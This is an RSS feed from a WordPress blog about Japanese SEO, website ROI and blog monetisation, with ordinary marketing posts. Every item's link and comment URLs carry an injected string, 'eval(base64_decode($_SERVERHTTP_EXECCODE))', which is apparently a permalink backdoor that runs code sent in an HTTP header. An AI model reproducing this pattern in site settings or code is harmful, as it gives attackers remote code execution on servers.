<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hitech Solutions</title>
	<atom:link href="http://www.hitechsol.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hitechsol.net</link>
	<description>Japanese Search Engine Marketing, Tokyo SEO Specialist</description>
	<lastBuildDate>Thu, 29 Apr 2010 15:06:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Japanese Automakers&#8217; English websites SEO Compatibility Report</title>
		<link>http://www.hitechsol.net/2010/02/20/japanese-automakers-english-websites-seo-compatibility-report/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2010/02/20/japanese-automakers-english-websites-seo-compatibility-report/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 02:28:16 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=46</guid>
		<description><![CDATA[This is the post I have been wanting to write for so many weeks and months.  Auto industry is the industry I have been involved for such a long period of time, both at an academic level in my university days and as a web design and Internet Marketing/conversion optimization professional in the later years. [...]]]></description>
			<content:encoded><![CDATA[<p>This is the post I have been wanting to write for so many weeks and months.  Auto industry is the industry I have been involved for such a long period of time, both at an academic level in my university days and as a web design and Internet Marketing/conversion optimization professional in the later years.</p>
<p>The post seems to take lots of time to write.  So, please bear with me as I plan to add the content to this from time to time to complete it.</p>
<p>The Japanese automakers and their English language websites we are going to discuss about are as follows.</p>
<p><strong>Makers &amp; their English websites</strong></p>
<ol>
<li><a title="Toyota" href="http://www.toyota.com/" target="_self" onclick="pageTracker._trackPageview('/outgoing/www.toyota.com/?referer=');">Toyota</a></li>
<li><a title="Nissan" href="http://www.nissanusa.com/" target="_self" onclick="pageTracker._trackPageview('/outgoing/www.nissanusa.com/?referer=');">Nissan</a></li>
<li><a title="Honda" href="http://www.honda.com/" onclick="pageTracker._trackPageview('/outgoing/www.honda.com/?referer=');">Honda</a></li>
<li><a title="Mitsubishi" href="http://www.mitsubishimotors.com/MMNA/jsp/index.do" target="_self" onclick="pageTracker._trackPageview('/outgoing/www.mitsubishimotors.com/MMNA/jsp/index.do?referer=');">Mitsubishi</a></li>
<li><a title="Mazda" href="http://www.mazda.com/" target="_self" onclick="pageTracker._trackPageview('/outgoing/www.mazda.com/?referer=');">Mazda</a></li>
<li><a href="http://suzuki.com/index_flash.php" onclick="pageTracker._trackPageview('/outgoing/suzuki.com/index_flash.php?referer=');">Suzuki</a></li>
<li><a title="Isuzu" href="http://www.isuzu.com/index.jsp" onclick="pageTracker._trackPageview('/outgoing/www.isuzu.com/index.jsp?referer=');">Isuzu</a></li>
<li><a title="Daihatsu" href="http://www.daihatsu.com/" onclick="pageTracker._trackPageview('/outgoing/www.daihatsu.com/?referer=');">Daihatsu</a></li>
<li><a href="http://www.subaru.com/" onclick="pageTracker._trackPageview('/outgoing/www.subaru.com/?referer=');">Subaru</a></li>
</ol>
<h3><span style="color: #993366;">Summary of the Findings</span></h3>
<h3><span style="color: #993366;">Website Elements Studied</span></h3>
<h3><span style="color: #993366;">Search Engine Compatibility and ranking statistics</span></h3>
<p><span style="color: #993366;"><br />
</span></p>
<ul></ul>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2010/02/20/japanese-automakers-english-websites-seo-compatibility-report/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Improving ROI of Your Website</title>
		<link>http://www.hitechsol.net/2010/02/06/improving-roi-of-your-website/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2010/02/06/improving-roi-of-your-website/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 04:24:07 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Website ROI]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=82</guid>
		<description><![CDATA[These days, everyone wants to improve the return on their investment on their websites. To my understanding, following are the most important ROI metrics one should look for when deciding whether their online initiatives are successful.]]></description>
			<content:encoded><![CDATA[<p>These days, everyone wants to improve the return on their investment on their websites.  To my understanding, following are the most important ROI metrics one should look for when deciding whether their online initiatives are successful.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2010/02/06/improving-roi-of-your-website/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 10 SEO Factors in Japanese Market</title>
		<link>http://www.hitechsol.net/2009/08/04/top-10-seofactors-for-seo-in-japanese-market/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/08/04/top-10-seofactors-for-seo-in-japanese-market/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 18:03:41 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Website ROI]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=181</guid>
		<description><![CDATA[Japan is a lucrative market for SEO services.  However, due to the unique language and other cultural factors, it has been difficult for foreign SEO companies to penetrate into this very attractive market.   To rank higher in the search engines for Japanese market, the following ten factors play a major role. However, please be [...]]]></description>
			<content:encoded><![CDATA[<p>Japan is a lucrative market for SEO services.  However, due to the unique language and other cultural factors, it has been difficult for foreign SEO companies to penetrate into this very attractive market.   To rank higher in the search engines for Japanese market, the following ten factors play a major role. However, please be aware that the factors come in no particular order.</p>
<ol>
<li>Country-specific domain such as co.jp</li>
<li>Japanese language content</li>
<li>Keyword usage in the title tag</li>
<li>Links from other local domains</li>
<li>Geographical location of the hosting server</li>
<li>Local business address as a text on pages of the site</li>
<li>Registration of the site in Google Local Business center</li>
<li>Geo-targetting preference set in the Google Webmaster Tools</li>
<li>Manual review of the site by major search engine employees</li>
<li>Address associated with the registration of the domain being targetted</li>
</ol>
<p>Any comments on the above factors/points? Now, it is your turn now to speak up.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/08/04/top-10-seofactors-for-seo-in-japanese-market/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geo-targeted SEO and the Japanese Market</title>
		<link>http://www.hitechsol.net/2009/07/27/geo-targeted-seo-and-the-japanese-market/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/07/27/geo-targeted-seo-and-the-japanese-market/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 06:44:07 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=96</guid>
		<description><![CDATA[Recently, there has been a lot of discussion on the Internet about geo-location. In this post, we will share some observations, tips and tricks on performing SEO for the Japanese market. There is no doubt that Japan, being the second-largest economy in the world employs some of the best brains in IT, the SEO story [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, there has been a lot of discussion on the Internet about geo-location. In this post, we will share some observations, tips and tricks on performing SEO for the Japanese market.  There is no doubt that Japan, being the second-largest economy in the world employs some of the best brains in IT, the SEO story stills lags behind the West.</p>
<p><strong>Language</strong><br />
Undoubtedly, Japanese language is one of the most important ranking factors for ranking your website in the Japanese market. However, apart from the &#8216;mainstream&#8217; Japanese language websites, there is a much smaller market for English language websites as well.  Being one of the most lucrative market in the world, lots of foreign companies (mostly small to medium sized) come to Japan to grab their share of the pie. In many of these cases, these foreign businesses either do not pay attention to performing SEO or even designing their websites for the Japanese audience or take too long to respond to the need to establish online presence for their Japanese potential or real customers.</p>
<p>As a consequence, many of the websites owned by foreigners living in Japan, are solely targeted for the English speaking market in Japan. So, there is a still a chance for you to survive and thrive even if you do not make your website in Japanese from the start.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/07/27/geo-targeted-seo-and-the-japanese-market/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>11 Barriers to Website ROI Measurement</title>
		<link>http://www.hitechsol.net/2009/07/18/effective-website-roi-measurement-strategy/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/07/18/effective-website-roi-measurement-strategy/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 15:10:08 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Website ROI]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=115</guid>
		<description><![CDATA[The other day, I was reading an Econsultancy report on &#8220;Online Measurement and Strategy Report 2009&#8243;.  The report beautifully describes in detail the barriers to an effective online ROI measurement and the current state of the affairs on the subject.  In the following lines,  I am going to list up the barriers mentioned in the [...]]]></description>
			<content:encoded><![CDATA[<p>The other day, I was reading an Econsultancy <a title="Online Measurement and Strategy Report" href="http://econsultancy.com/reports/online-measurement-and-strategy-report" target="_blank" onclick="pageTracker._trackPageview('/outgoing/econsultancy.com/reports/online-measurement-and-strategy-report?referer=');">report</a> on &#8220;Online Measurement and Strategy Report 2009&#8243;.  The report beautifully describes in detail the barriers to an effective online ROI measurement and the current state of the affairs on the subject.  In the following lines,  I am going to list up the barriers mentioned in the report and some possible solutions to overcome these barriers to an effective measurement of your website ROI.</p>
<p><strong>Barriers to an Effective Website ROI Measurement</strong></p>
<p>Here you go.</p>
<ol>
<li>Lack of budget/resources (45%)</li>
<li>Lack of strategy (31%)</li>
<li>Siloed organization (29%)</li>
<li>Lack of understanding (25%)</li>
<li>Too much data (18%)</li>
<li>Lack of senior management buy-in (18%)</li>
<li>Difficulty reconciling data (17%)</li>
<li>IT blockages (17%)</li>
<li>Lack of trust in analytics (16%)</li>
<li>Finding staff (12%)</li>
<li>Poor technology (9%)</li>
</ol>
<p>I was surprised to discover that all the above listed factors (with the only exception of the last one) negatively affecting the measurement of your website ROI are related to non-web analytics tool related activities. They are either related to your strategy, your unwillingness to take any action about the calculation of ROI of your website and/or other external factors.  Only the last one gives just a passing reference (merely 9% of the respondents) to the web analytics technology one uses to measure the website ROI of their web properties.</p>
<p><strong>Some (possible) Solutions to Overcome the Barriers</strong></p>
<p>Let&#8217;s take the above barriers one by one and try to find some viable suggestions on how to clear our path to maximize our website ROI.</p>
<p><strong>Lack of Budget/Resources: </strong></p>
<p>Only use the free web analytics tools as the following.  Once you have effectively proved the worth of any of these tools, you will be in a better position to convince your top management to put aside the financial and other necessary resources to start using<strong>, </strong>more advanced paid tools.</p>
<ul>
<li><strong> </strong><a href="http://www.google.com/analytics/" onclick="pageTracker._trackPageview('/outgoing/www.google.com/analytics/?referer=');">Google Analytics</a></li>
<li> <a href="http://web.analytics.yahoo.com/" onclick="pageTracker._trackPageview('/outgoing/web.analytics.yahoo.com/?referer=');">Yahoo Web Analytics</a></li>
<li><a href="http://www.getclicky.com/" onclick="pageTracker._trackPageview('/outgoing/www.getclicky.com/?referer=');">Clicky</a> (free version available)</li>
<li><a href="http://www.clicktale.com/default.aspx" onclick="pageTracker._trackPageview('/outgoing/www.clicktale.com/default.aspx?referer=');">ClickTale</a></li>
<li><a href="http://www.btbuckets.com/" onclick="pageTracker._trackPageview('/outgoing/www.btbuckets.com/?referer=');">BT Buckets</a></li>
</ul>
<p><strong>Lack of Strategy</strong></p>
<p>What a funny situation!<strong> </strong>You don&#8217;t have a web strategy,  go away and try to look for another job where you don&#8217;t have to use Internet at all.  I am serious what I am saying. The companies which don&#8217;t have a clear web strategy are doomed to fail today or tomorrow.  To overcome this barrier, try the following.</p>
<p>1:   Just list up the possible outcomes which you want to see from your website within a certain timeframe</p>
<p>2: List up possible ways to achieve these desired outcomes. If you have no clue what those possible ways could be, just surf the Internet and find free forums where you could throw your question. I am pretty much sure someone might be able to give you some nice suggestions just for free, no kidding.</p>
<p>3:  Appoint a person in your company who happens to have at least some interest in website measurement and ask them to spend at least 10% of their time thinking, researching and creating a website measurement strategy. That could be a one person or a team of enthusiastic people trying to make something out of their time in the company.</p>
<p><strong>Siloed Organization</strong></p>
<p>The best way to solve this issue is to start small, show some value to the stakeholders, share the responsibility of measuring their website ROI to more people and/or units.  You could start from IT and move on to SEO, and marketing and sales units.</p>
<p><strong>Lack of Understanding</strong></p>
<p>The Econsultancy report on website ROI measurement was unclear as to what it meant by <em>Lack of Understanding</em>.  In my opinion, there could be two possible scenarios.</p>
<p>One is that you do not  understand the true value of measuring your website ROI. If that is the case, please read this and other blogs discussing this issue extensively. You will soon start appreciating the true value of an effective website ROI measurement strategy<strong>.</strong></p>
<p>The other possible scenario could be that maybe, in your management team, there is a lack of understanding about website ROI.  Ask any of your management team to go attend a webinar or a seminar online  or offline workshop which discusses the importance of an effective website ROI measurement. <strong> </strong></p>
<p><strong>Too Much Data</strong></p>
<p>The problem with most of the existing web analytics tools is that they provide too much data which is beyond the comprehension of many marketers.  Most often, we are not sure what our real Key Performance Indicators (KPIs) are for our websites.<strong> </strong></p>
<p>To handle this issue, select only top three metrics which you and your boss care about the most. The highest priority should be given to the metrics which make the most significant difference in your life as well as in the life of your boss and then his boss.<strong> </strong>Now just focus on the data which helps you understand the chosen metrics the best way you can and you will be on your way to solving the too much data syndrome. <strong> </strong></p>
<p><strong>Lack of Senior Management Buy-in </strong></p>
<p>Did you say that they don&#8217;t want to give you the resources and budget to run an effective web analytics report.  Maybe, you were not able to sell your ideas properly due to which their understanding of the importance of web analytics is still poor.</p>
<p>To help you avoid this situation, effectively implement the strategies mentioned in the first point mentioned above and you will be on your way to explaining the importance of website ROI measurement to your boss effectively.</p>
<p><strong><br />
</strong></p>
<p><strong>Difficulty Reconciling Data</strong></p>
<p>There is no doubt most of us have difficulty reconciling data from various sources<strong>. </strong> It&#8217;s OK to have discrepency in the data.  In fact,  no two tools will show you the exact same information.  The data collected from these tools should provide you and your management team an indication of the general trends.<strong> </strong>Your job as a web analyst is to reconcile the data<strong>, </strong>try to deduce some meaning out of the general patterns and formulate your website ROI strategy.<strong><br />
</strong></p>
<p><strong>Lack of Trust in Analytics</strong></p>
<p>There are only two options in this regard.  Either you teach your boss and his boss why having an effective website ROI measurement strategy will help them succeed in their online business or if you can&#8217;t do that, just quit your job and look for another one where you can better utilize your time with the people who care more about this than your existing boss does.<strong><br />
</strong></p>
<p><strong>Finding Staff:</strong></p>
<p>This is another excuse cited by many marketers as one of the main sources of the problems for their ROI measurement strategy.  Generally speaking, we look for the people who have lots of experience in their relevant fields.  However, for you to be truly successful in the online business, you have to broaden your horizon and actually start hiring even fresh graduates who have knack for web analytics data, have analytical mind and are willing to put their blood and sweat to succeed in whatever they do.  <strong><br />
</strong></p>
<p><strong>Poor Technology</strong></p>
<p>Come one, give me a break.  Nothing could be further from the truth. <strong> </strong>Even the free tools like Google Analytics and others will provide you the data sufficient to keep you busy day in and day out.  Technology is evolving real fast. It is your job as a web analyst to keep up with the all the technological developments in your field  and utilize the web analytics tools the best way you can.</p>
<p>I have listed up some barriers to an effective website ROI measurement strategy and some possible solutions to resolve these issues.  Please feel free to comment on these issues to provide further insight on this very important topic of an effective website ROI measurement strategy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/07/18/effective-website-roi-measurement-strategy/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Making Money From Your Website</title>
		<link>http://www.hitechsol.net/2009/06/21/making-money-from-your-website/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/06/21/making-money-from-your-website/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 12:39:47 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Website ROI]]></category>
		<category><![CDATA[Website monetization]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=83</guid>
		<description><![CDATA[The past couple of posts have been too academic in that basically, they discussed what a return on your investment on a website is and how to measure it properly. In this post, I am going to list up multiple ways to make money form your website either as a part time blogger or a [...]]]></description>
			<content:encoded><![CDATA[<p>The past couple of posts have been too academic in that basically, they discussed what a return on your investment on a website is and how to measure it properly. In this post, I am going to list up multiple ways to make money form your website either as a part time blogger or a full time professional blogger in your niche. The list is in no way exhaustive. There are many more ways to make money from your website than listed below.  However, it is just a starter to give you hints on how you can really start making money.</p>
<p><strong>Advertising on your blog or website</strong><br />
You know what your niche is and what topic(s) you are interested in. You have to write lots of posts on various aspects of that topic. Although, there is no official bottom line of the number of posts after which potential customers and sponsors will start noticing you, generally speaking, you will have written around 20 or 30 blog posts before you can start seeing some light.  It is the time when you can expect some related companies contacting you for advertising opportunities on your relevant pages or you may start asking them to do so.</p>
<p>Sponsorships<br />
Affiliated programs<br />
Paid reviews<br />
Freelancing opportunities<br />
Writing Assignments<br />
Blogging consulting<br />
Consulting Opportunities in Your niche<br />
Speaking Engagements</p>
<p>Donations</p>
<p>When you provide value to your website visitors, they will surely be willing to offer you money to continue providing that valuable information.</p>
<p>Can you think of any other ways to make money from your blogging? Plesse sed your feedback in the comments area.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/06/21/making-money-from-your-website/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Local Search in Japan</title>
		<link>http://www.hitechsol.net/2009/06/09/local-search-in-japan/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/06/09/local-search-in-japan/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 20:09:27 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.hitechsol.net/?p=36</guid>
		<description><![CDATA[Recently, there has been a lot of debate about local search and its related topics among the SEO community.  Everybody seems to want to talk about it. The truth of the matter is that local search is indeed, the centerpiece of all the search we, the consumers perform on the Internet day in and day [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, there has been a lot of debate about local search and its related topics among the SEO community.  Everybody seems to want to talk about it. The truth of the matter is that local search is indeed, the centerpiece of all the search we, the consumers perform on the Internet day in and day out.</p>
<p>The purpose of this blog is to provide timely and relevant informtion about Japanese search industry to the SEO community and small businesses in Japan and around the world.  So, please stay tuned as we are going to roll out lot of interesting stuff about local search in Japan  in the coming weeks and months.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/06/09/local-search-in-japan/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is website ROI anyway?</title>
		<link>http://www.hitechsol.net/2009/06/07/what-is-website-roi-anyway/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/06/07/what-is-website-roi-anyway/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 02:21:43 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Website ROI]]></category>

		<guid isPermaLink="false">http://hitechsol.net/?p=20</guid>
		<description><![CDATA[The return on investment (ROI) of a web site is the ratio of money gained or lost on your website verses the amount of money you have spent on the website project in whatever way you did. Measuring the ROI of a Web site The ROI of a web site can be measured in a [...]]]></description>
			<content:encoded><![CDATA[<p>The return on investment (ROI) of a web site is the ratio of money gained or lost on your website verses the amount of money you have spent on the website project in whatever way you did.</p>
<p><strong>Measuring the ROI of a Web site </strong></p>
<p>The <span style="font-size: 10pt; font-family: Arial;">ROI of a web site can be measured in a number of ways and for a number of factors. A very abstract description of the factors involved in the ROI of a website are as follows.</span></p>
<ul type="disc">
<li class="MsoNormal"><strong>Investment on the      website</strong></li>
</ul>
<p>The question to ask here is <span style="font-size: 10pt; font-family: Arial;">where it is that you are spending money. In case of a website, following factors could be counted as the money spent on </span></p>
<ul type="disc">
<li class="MsoNormal">Your search engine      marketing initiatives including pay per click campaigns etc.</li>
<li class="MsoNormal">search engine optimization      efforts whether they be in-house or outsourced</li>
<li class="MsoNormal">Direct marketing</li>
<li class="MsoNormal">web site development costs</li>
<li class="MsoNormal">Email Marketing</li>
<li class="MsoNormal">Affiliate Programs</li>
<li class="MsoNormal">or any other investment you      have made to promote your website in one way or the other</li>
</ul>
<ul type="disc">
<li class="MsoNormal"><strong>Return from your      website</strong></li>
</ul>
<p>The outputs or outcomes of your investments on the website project could be as follows.</p>
<ul type="disc">
<li class="MsoNormal">Conversion</li>
<li class="MsoNormal">Revenue generation</li>
<li class="MsoNormal">leads</li>
<li class="MsoNormal">Customer satisfaction</li>
<li class="MsoNormal">Problem resolution rate      etc.</li>
</ul>
<p>Once you have calculated both the investment and outcomes of your website, you can calculate the ROI of your website by dividing the outcomes by the investment. Calculating the ROI seems to be a simple task.  However, the hardest part in the equation is to help your customers identify the outcome they want to see by investing on your web properties. Once that part is determined, it will be an easy shot to calculate the costs involved on the project.</p>
<p><strong>Improving ROI</strong></p>
<p>There could be so many ways of improving the ROI of a website. However, the first and foremost important step in this regard is to gather data of the visitors who visit your website via any free or paid web analytics tool such as Google Analytics, brutally analyze what what the data says and then make recommendations on how to improve your website so that you can achieve your goals from it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/06/07/what-is-website-roi-anyway/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Managing your website for a great ROI</title>
		<link>http://www.hitechsol.net/2009/06/07/categories-local-search-website-roi-meta-rss-log-in-valid-xhtml-xfn-wordpress-managing-your-website-for-a-great-roi/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/06/07/categories-local-search-website-roi-meta-rss-log-in-valid-xhtml-xfn-wordpress-managing-your-website-for-a-great-roi/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 02:06:07 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hitechsol.net/?p=15</guid>
		<description><![CDATA[Few things needed to think hard before you really design your website are as follows. Determine Goals &#38; Expectations What do want your website to do for you? The reasons could be many as.: Get leads for your business Generate revenue for the company Enhance the branding image of your company Provide information to the [...]]]></description>
			<content:encoded><![CDATA[<p>Few things needed to think hard before you really design your website are as follows.</p>
<p><strong>Determine Goals &amp; Expectations</strong></p>
<p>What do want your website to do for you? The reasons could be many as.:</p>
<ul>
<li>Get leads for your business</li>
<li>Generate revenue for the company</li>
<li>Enhance the branding image of your company</li>
<li>Provide information to the interested audience</li>
</ul>
<p><strong>Determine Your Target Audience</strong></p>
<p>You do not create website for yourself. Rather, you always have some target audience behind creating it.  You create it so that others can view and take the actions you want them to take.  For you to be able to fulfill the varying demands of your target users of the website, you have to understand exactly what objectives they want to accomplish by visiting and using your site, what kind of people they are and how they make decisions you want them regarding the website.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hitechsol.net/2009/06/07/categories-local-search-website-roi-meta-rss-log-in-valid-xhtml-xfn-wordpress-managing-your-website-for-a-great-roi/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Which is the first to take- Conversion or SEO?</title>
		<link>http://www.hitechsol.net/2009/06/07/which-is-the-first-to-take-conversion-or-seo/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss</link>
		<comments>http://www.hitechsol.net/2009/06/07/which-is-the-first-to-take-conversion-or-seo/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 02:05:05 +0000</pubDate>
		<dc:creator>Maqsood Ahmed</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hitechsol.net/?p=13</guid>
		<description><![CDATA[For several years now, businesses have been focusing on SEO and PPC campaigns to improve traffic on their websites and achieve top rankings.  The sole purpose of SEO and PPC budgets has been to get as many clicks as possible.  This is not a bad goal in its own right.  However, recently, marketers have shifted [...]]]></description>
			<content:encoded><![CDATA[<p>For several years now, businesses have been focusing on SEO and PPC campaigns to improve traffic on their websites and achieve top rankings.  The sole purpose of SEO and PPC budgets has been to get as many clicks as possible.  This is not a bad goal in its own right.  However, recently, marketers have shifted their attention and their budgets towards improving the conversion aspects of their websites apart from focusing on the traditional SEO and PPC campaigns.</p>
<p>What happens once a visitor has clicked on your website?  What if she leaves your website immediately because she could not find what she was looking for on your website or, the navigation was too bad, or the design was too boring or the there was no call to action button. The list could go on and on.</p>
